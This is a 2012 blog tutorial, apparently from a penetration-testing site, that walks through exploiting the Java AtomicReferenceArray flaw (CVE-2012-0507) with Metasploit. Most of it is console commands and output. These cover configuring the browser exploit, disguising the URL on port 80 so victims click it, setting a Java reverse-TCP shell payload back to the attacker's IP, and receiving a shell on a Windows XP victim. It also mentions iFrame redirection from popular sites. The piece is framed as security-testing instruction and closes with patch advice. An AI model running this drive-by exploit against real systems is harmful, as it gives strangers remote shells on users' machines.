Java Exploit Attack (CVE-2012-0507)

pentestlab.blog/category/exploitation-techniques/page/13

March 30, 2012

Another exploit that has to do with the Java SE is affecting end users and allows attackers to distribute malware and to obtain remote shells.The people behind Metasploit Framework have created a module based on partial code of this exploit.

According to Microsoft "*the vulnerability exploits a flaw in the deserialization of "AtomicReferenceArray" objects, which allows remote attackers to call system level Java functions via the ClassLoader of a constructor that is being deserialized without proper sandboxing*."

In this article we will see how we can use that exploit in order to attack a remote system.

We are opening the Metasploit Framework and we are searching for the **java_atomicreferencearray** exploit.

```
       =[ metasploit v4.3.0-dev [core:4.3 api:1.0]
+ -- --=[ 820 exploits - 461 auxiliary - 139 post
+ -- --=[ 250 payloads - 27 encoders - 8 nops
       =[ svn r15042 updated today (2012.03.29)

msf > search java_atomicreferencearray

Matching Modules
================

   Name                                          Disclosure Date  Rank       Descr
iption
   ----                                          ---------------  ----       -----
------
   exploit/multi/browser/java_atomicreferencearray  2012-02-14       excellent  Java
AtomicReferenceArray Type Violation Vulnerability
```

Search for Java Atomic Reference Array Exploit

We will use that exploit in order to test it against a machine that has installed the Java SE version 6 update 30.

```
msf > use exploit/multi/browser/java_atomicreferencearray
msf  exploit(java_atomicreferencearray) > show options

Module options (exploit/multi/browser/java_atomicreferencearray):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be a
n address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default i
s randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be u
sed (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is
 random)


Exploit target:

   Id  Name
   --  ----
```

Options for the Java Exploit

While executing the ***show options*** command in order to see the available options and settings we saw two things.First that the default port that the exploit will listen is 8080 and the URI path is blank.If we want to use this exploit on a real penetration test against our clients employees,it would be a good practice to change the port to 80 and the URI path to **/** in order not to create any suspicious when we will send the link to them.Leaving the URI path to blank it will create a random path that it would not look legitimate so our test may fail.So we are giving the following settings to the exploit:

```
msf  exploit(java_atomicreferencearray) > set SRVPORT 80
SRVPORT => 80
msf  exploit(java_atomicreferencearray) > set URIPATH /
URIPATH => /
msf  exploit(java_atomicreferencearray) > show payloads

Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   generic/custom                                       normal  Custom Payload
   generic/shell_bind_tcp                               normal  Generic Command Shell, Bi
nd TCP Inline
   generic/shell_reverse_tcp                            normal  Generic Command Shell, Re
verse TCP Inline
   java/meterpreter/bind_tcp                            normal  Java Meterpreter, Java Bi
nd TCP stager
   java/meterpreter/reverse_http                        normal  Java Meterpreter, Java Re
verse HTTP Stager
   java/meterpreter/reverse_https                       normal  Java Meterpreter, Java Re
verse HTTPS Stager
   java/meterpreter/reverse_tcp                         normal  Java Meterpreter, Java Re
verse TCP stager
   java/shell/bind_tcp                                  normal  Command Shell, Java Bind
TCP stager
   java/shell/reverse_tcp                               normal  Command Shell, Java Rever
se TCP stager
   java/shell_reverse_tcp                               normal  Java Command Shell, Rever
se TCP Inline
```

Java Exploit Settings and Payloads

As a payload we will use a Java command Shell and we will set our IP address:

```
msf  exploit(java_atomicreferencearray) > set payload java/shell_reverse_tcp
payload => java/shell_reverse_tcp
msf  exploit(java_atomicreferencearray) > set LHOST 192.168.1.66
LHOST => 192.168.1.66
msf  exploit(java_atomicreferencearray) > show options

Module options (exploit/multi/browser/java_atomicreferencearray):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be a
n address on the local machine or 0.0.0.0
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default i
s randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be u
sed (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is
 random)
```

Configuring the payload

We have done a last check with the show options command in order to check if the settings of the payload are properly configured:

```
Payload options (java/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.1.66     yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Generic (Java Payload)
```

Payload Options

Now it is time to run the exploit.As we can see from the image below the exploit will start a reverse handler to our machine and it will wait for anyone that will connect to our machine through our http server.

```
msf  exploit(java_atomicreferencearray) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.1.66:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.1.66:80/
[*] Server started.
msf  exploit(java_atomicreferencearray) >
```

Execution of the Java Exploit

If someone tries to connect to our http server the exploit will executed and it will return a shell to us if the victim is having a vulnerable version of Java.Alternatively an attacker could use a popular website in order to redirect the users through iFrames to a new webpage where the exploit will executed.

```
msf  exploit(java_atomicreferencearray) > [*] 192.168.1.67:3128 - Sending Java Atomic
ReferenceArray Type Violation Vulnerability
[*] Generated jar to drop (7308 bytes).
[*] 192.168.1.67:3129 - sending jar to ...
[*] 192.168.1.67:3129 - sending jar to ...
[*] Command shell session 1 opened (192.168.1.66:4444 -> 192.168.1.67:3130) at 2012-0
3-30 02:44:37 +0100
```

Exploiting the Vulnerability

```
msf  exploit(java_atomicreferencearray) > sessions -i

Active sessions
===============

  Id  Type        Information                                                  Connection

  --  ----        -----------                                                  ----------
  1   shell java  Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Mic
rosoft Corp. C:\Documents and Settings\Admin.PC0-0\Desktop>  192.168.1.66:4444 -> 192
.168.1.67:3130 (192.168.1.67)
```

List the sessions that the Java Exploit opened

Affected Java Software

- versions 7 update 2,
- versions 6 update 30 and
- versions 5 update 33

Conclusion

This vulnerability exists because the **AtomicReferenceArray** class is not checking properly whether the array is an appropriate object type.Most of the attackers are using this exploit in order to distribute malware to victim machines.Until now this type of attack can be detected only by two antivirus McAfee and NOD32 and affects various platforms from Windows to Linux and MacOS X so you need to patch your Java runtime environment in order to protect your systems from this attack.

References

http://www.securityfocus.com/bid/52161/info

http://blogs.technet.com/b/mmpc/archive/2012/03/20/an-interesting-case-of-jre-sandbox-breach-cve-2012-0507.aspx

http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?Name=Exploit:Java/CVE-2012-0507.A

http://blog.eset.com/2012/03/30/blackhole-cve-2012-0507-and-carberp